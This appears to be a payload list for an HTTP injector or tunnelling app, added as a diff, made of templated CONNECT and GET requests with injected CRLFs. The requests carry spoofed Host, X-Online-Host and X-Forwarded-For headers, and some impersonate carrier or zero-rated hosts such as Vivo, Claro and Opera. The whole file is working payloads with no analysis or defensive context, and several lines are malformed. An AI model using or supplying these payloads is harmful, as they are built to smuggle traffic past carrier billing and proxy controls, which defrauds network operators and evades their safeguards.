+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+GET mhost@[host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]
+GET mhost@[host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf] [crlf]
+GET [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]
+GET [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf] [crlf]
+CONNECT [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+CONNECT [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf] [crlf]
+CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]
+CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]User-Agent: [ua][crlf][crlf][split][raw][crlf][crlf]CONNECT mhost:443 HTTP/1.1[crlf][raw][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost[crlf]Proxy-Authorization: basic: mhost[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive [crlf]Host: [host][crlf][crlf][split][raw][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost/[crlf][crlf]CONNECT [host_port] HTTP/1.0[crlf][crlf][realData][crlf][crlf]
+[method] mhost:443 HTTP/1.1[crlf][raw][crlf][crlf]GET http://mhost/ HTTP/1.1\nHost: mhost\nConnection: close\nConnection: close\nUser-Agent:[ua][crlf]Proxy-Connection: Keep-Alive[crlf]Host: [host][crlf][crlf][delay_split][raw][crlf][crlf][raw][crlf][realData][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]User-Agent: KDDI[crlf]Host: [host][crlf][crlf][raw][raw][crlf][raw][crlf][raw][crlf][crlf]DELETE http://mhost/ HTTP/1.1[crlf]Host: m.opera.com[crlf]Proxy-Authorization: basic: *[crlf]User-Agent: KDDI[crlf]Connection: close[crlf]Proxy-Connection: Direct[crlf]Host: [host][crlf][crlf][raw][raw][crlf][crlf][raw][method] http://mhost[port] HTTP/1.1[crlf]Host: [host][crlf][crlf]CONNECT [host] [protocol][crlf][crlf][CONNECT [host] [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf]X-Online-Host: mhost[crlf]Packet Length: Authorization[crlf]Packet Content: Authorization[crlf]Transfer-Encoding: chunked[crlf]Referer: mhost[crlf][crlf]
+[crlf][crlf]CONNECT [host_port]@mhost/ [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]CONNECT [host]@mhost/ [protocol][crlf][crlf]
+[method] [host_port] [protocol] [delay_split]GET http://mhost/ HTTP/1.1[netData][crlf]GET mip:80[crlf]X-GreenArrow-MtaID: smtp1-1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.0[crlf][split]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf][crlf][method] [host_port] [protocol]?[split]GET http://mhost:8080/[crlf][crlf]GET [host_port] [protocol]?[split]OPTIONS http://mhost/[crlf]Connection: Keep-Alive[crlf]User-Agent: Mozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0[crlf]CONNECT [host_port] [protocol] [crlf]GET [host_port] [protocol]?[split]GET http://mhost/[crlf][crlf][method] mip:80[split]GET mhost/[crlf][crlf]: Cache-Control:no-store,no-cache,must-revalidate,post-check=0,pre-check=0[crlf]Connection:close[crlf]CONNECT [host_port] [protocol]?[split]GET http://mhost:/[crlf][crlf]POST [host_port] [protocol]?[split]GET[crlf]mhost:/[crlf]Content-Length: 999999999\r\n\r\n
+GET [host_port] [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Referer: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET mhost/ HTTP/1.1[crlf][crlf]
+CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: navegue.vivo.ddivulga.com/pacote[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost/[crlf]GET mhost/ HTTP/1.1[crlf]HEAD mhost/ HTTP/1.1[crlf]TRACE mhost/ HTTP/1.1[crlf]OPTIONS mhost/ HTTP/1.1[crlf]PATCH mhost/ HTTP/1.1[crlf]PROPATCH mhost/ HTTP/1.1[crlf]DELETE mhost/ HTTP/1.1[crlf]PUT mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]Host: mhost/[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]X-Forwarded-For: mhost[protocol][crlf][crlf]
+[raw][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]X-Forward-Host: mhost/[crlf]Connection: Keep-Alive[crlf]Connection: Close[crlf]User-Agent: [ua][crlf][crlf]
+[raw][split]GET mhost/ HTTP/1.1[crlf] [crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]GET mhost/[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf]
+[raw]split]GET mhost/ HTTP/1.1[crlf][crlf]
+GET [host_port] [protocol][instant_split]GET http://mhost/ HTTP/1.1[crlf]
+GET [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf]
+CONNECT [host_port] [protocol] [instant_split]GET http://mhost/ HTTP/1.1[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]User-Agent: [ua][crlf][crlf]
+GET http://mhost/ HTTP/2.0[auth][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT [host_port] [protocol] [auth][crlf][crlf][delay_split][raw][crlf]JAZZ http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][delay_split]CONNECT [host_port] [protocol] [method][crlf] [crlf][crlf]
+CONNECT [host_port] [protocol][crlf]GET http://mhost/ HTTP/1.1\rHost: mhost\r[crlf]X-Online-Host: mhost\r[crlf]X-Forward-Host: mhost\rUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-gb) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.9174AP[crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost/ [crlf]User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive[crlf][crlf][raw][crlf][crlf]
+GET [host_port] [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]UseDNS: Yes[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[crlf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[crlf]  Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[crlf]  Age: 8, 8[crlf] Cache-Control: max-age=86400[crlf] public[crlf] Connection: keep-alive[crlf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]UseDNS: Yes[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[crlf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[crlf]  Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[crlf]  Age: 8, 8[crlf] Cache-Control: max-age=86400[crlf] public[crlf] Connection: keep-alive[crlf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf]
+[netData][split][raw][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: update[crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]host: http://mhost/[crlf]Connection: close update[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf] [crlf]
+[raw][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf][crlf]User-Agent: [ua][crlf]Connection: Close[crlf]Proxy-connection: Close[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf]Connection: Keep-Alive[crlf][raw][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Connection: close[crlf][crlf]User-Agent: [ua][crlf][crlf]Referer: mhost[crlf]Cookie: mhost[crlf]Proxy-Connection: Keep-Alive [crlf][crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Upgrade-Insecure-Requests: 1[crlf]User-Agent: Mozilla/5.0 (Linux; Android 5.1; LG-X220 Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36[crlf]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8[crlf]Referer: http://mhost[crlf]Accept-Encoding: gzip, deflate, sdch[crlf]Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.6,en;q=0.4[crlf]Cookie: _ga=GA1.2.2045323091.1494102805; _gid=GA1.2.1482137697.1494102805; tfp=80bcf53934df3482b37b54c954bd53ab; tpctmp=1494102806975; pnahc=0; _parsely_visitor={%22id%22:%22719d5f49-e168-4c56-b7c7-afdce6daef18%22%2C%22session_count%22:1%2C%22last_session_ts%22:1494102810109}; sc_is_visitor_unique=rx10046506.1494105143.4F070B22E5E94FC564C94CB6DE2D8F78.1.1.1.1.1.1.1.1.1[crlf][crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive[crlf][netData][crlf] [crlf][crlf]
+GET [host_port] [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]Connection: close [crlf]Referer:http://mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Content-Length:0[crlf]Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5[crlf][raw][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: null[crlf]Connection: close[crlf]Proxy-Connection: x-online-host[crlf][crlf] CONNECT [host_port] [protocol] [netData][crlf]Content-Length: 130 [crlf][crlf]
+[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf]User-Agent: Yes[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Connection: Basic[crlf]Referer: mhost[crlf]Cookie: mhost/ [crlf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf]
+[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost/ Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf]
+[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf]
+[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf][raw][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]CONNECT [host_port][method]HTTP/1.1[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost[crlf][crlf]DELETE http://mhost/ HTTP/1.1[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][method] [host_port]@mip [crlf][crlf]http://mhost/ HTTP/1.1[crlf]mip[crlf][crlf] [crlf][crlf]http://mhost/ HTTP/1.1[crlf]Host@mip[crlf][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf]Host mhost/[crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[cr][crlf] [crlf][crlf][netData][cr][crlf] [crlf][crlf]CONNECT mip:22@http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf]
+CONNECT [host_port]@mhost/ HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf]
+CONNECT [host_port]@mhost/ HTTP/1.0[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost/ Proxy-Connection: Keep-Alive [crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: Yes[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Connection: Basic[crlf]Referer: mhost[crlf]Cookie: mhost/ [crlf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][delay_split]CONNECT [host_port]@mhost/ [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]DATA: 2048B[crlf]Host: mhost[crlf]User-Agent: Yes[crlf]Connection: close[crlf]Accept-Encoding: gzip[crlf]Non-Buffer: true[crlf]Proxy: false[crlf][crlf][netData][crlf] [crlf][crlf]
+GET [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf]Host: http://mhost/[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: http://mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Cache-Control=max-age=0[crlf][crlf][raw][crlf] [crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf]X-Online-Host: mhost[crlf][crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Referer: mhost[crlf]GET /HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][raw][crlf]Referer: mhost[crlf][crlf]
+GET http://mhost/ HTTP/1.1[cr][crlf]Host: mhost/\nUser-Agent: Yes\nConnection: close\nProxy-Connection: Keep-Alive\n\r\n\r\n[netData]\r\n \r\n\r\n
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][split]CONNECT mhost@[host_port] [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][realData][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf][crlf]
+[raw][crlf]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]CONNECT mhost/ [protocol][crlf]
+[raw] HTTP/1.0\r\n\r\nGET http://mhost/ HTTP/1.1\r\nHost: mhost\r\nConnection: Keep-Alive\r\nCONNECT mhost\r\n\r\n
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf][crlf]
+GET [host_port]@mhost/ HTTP/1.1[crlf]X-Real-IP:mip[crlf]X-Forwarded-For:http://mhost/ http://mhost/[crlf]X-Forwarded-Port:mhost[crlf]X-Forwarded-Proto:http[crlf]Connection:Keep-Alive[crlf][crlf][instant_split][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf][split][realData][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][realData][crlf]CONNECT mhost/ HTTP/1.1[crlf][crlf]
+CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+[raw][crlf]GET http://mhost/ [protocol][crlf][split]mhost:/ HTTP/1.1[crlf]Host: mhost:[crlf]X-Forward-Host: mhost:[crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Connection: close[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host:http://mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1\r\nHost: mhost\r\n\r\n[netData]\r\n\r\n\r\n
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][realData][crlf][crlf]
+GET http://mhost/ HTTP/1.1\r\nX-Online-Host:mhost\r\n\r\nCONNECT mip:443[crlf]HTTP/1.0\r\n \r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\\r\n
+GET http://mhost/ HTTP/1.1\r\nGET: mhost\n\r\nCONNECT mip:443[crlf]HTTP/1.0\r\n \r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\\r\n
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close[crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf] [crlf][crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Forward-Host: mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Connection: http://mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]CONNECT mhost@[host_port] [protocol][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Connection: Keep-Alive[crlf]mhost@[host_port][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][netdata][crlf] [crlf]GET mhost/ [protocol][crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf][split]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf]User-Agent: [ua][crlf]Connection: close[crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][raw][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netData][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netdata][crlf] [crlf][split]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]mhost\r\nHost:mhost\r\n\r\n[netData]\r\n \r\n\r\n
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][realData][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]CONNECT mhost/  [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]host: mhost[crlf][crlf][realData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost/ [crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][realData][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf]CONNECT [host_port][crlf]CONNECT mhost/ [crlf][crlf][cr]
+[realData][crlf][split]GET http://mhost/  HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf][crlf]CONNECT [host_port][crlf]GET mhost/ [crlf]
+CONNECT [host_port]@mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][raw][crlf][crlf]
+[raw][crlf][cr][crlf]X-Online-Host: mhost[crlf]Connection: [crlf]User-Agent: [ua][crlf]Content-Lenght: 99999999999[crlf][crlf]
+[raw][crlf]X-Online-Host: mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf]X-Online-Host: mhost[crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Authorization: Basic: Connection: X-Forward-Keep-AliveX-Online-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]host:frontend.claro.com.br[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: Multibanco.com.br[crlf][crlf][raw][crlf] [crlf][crlf]
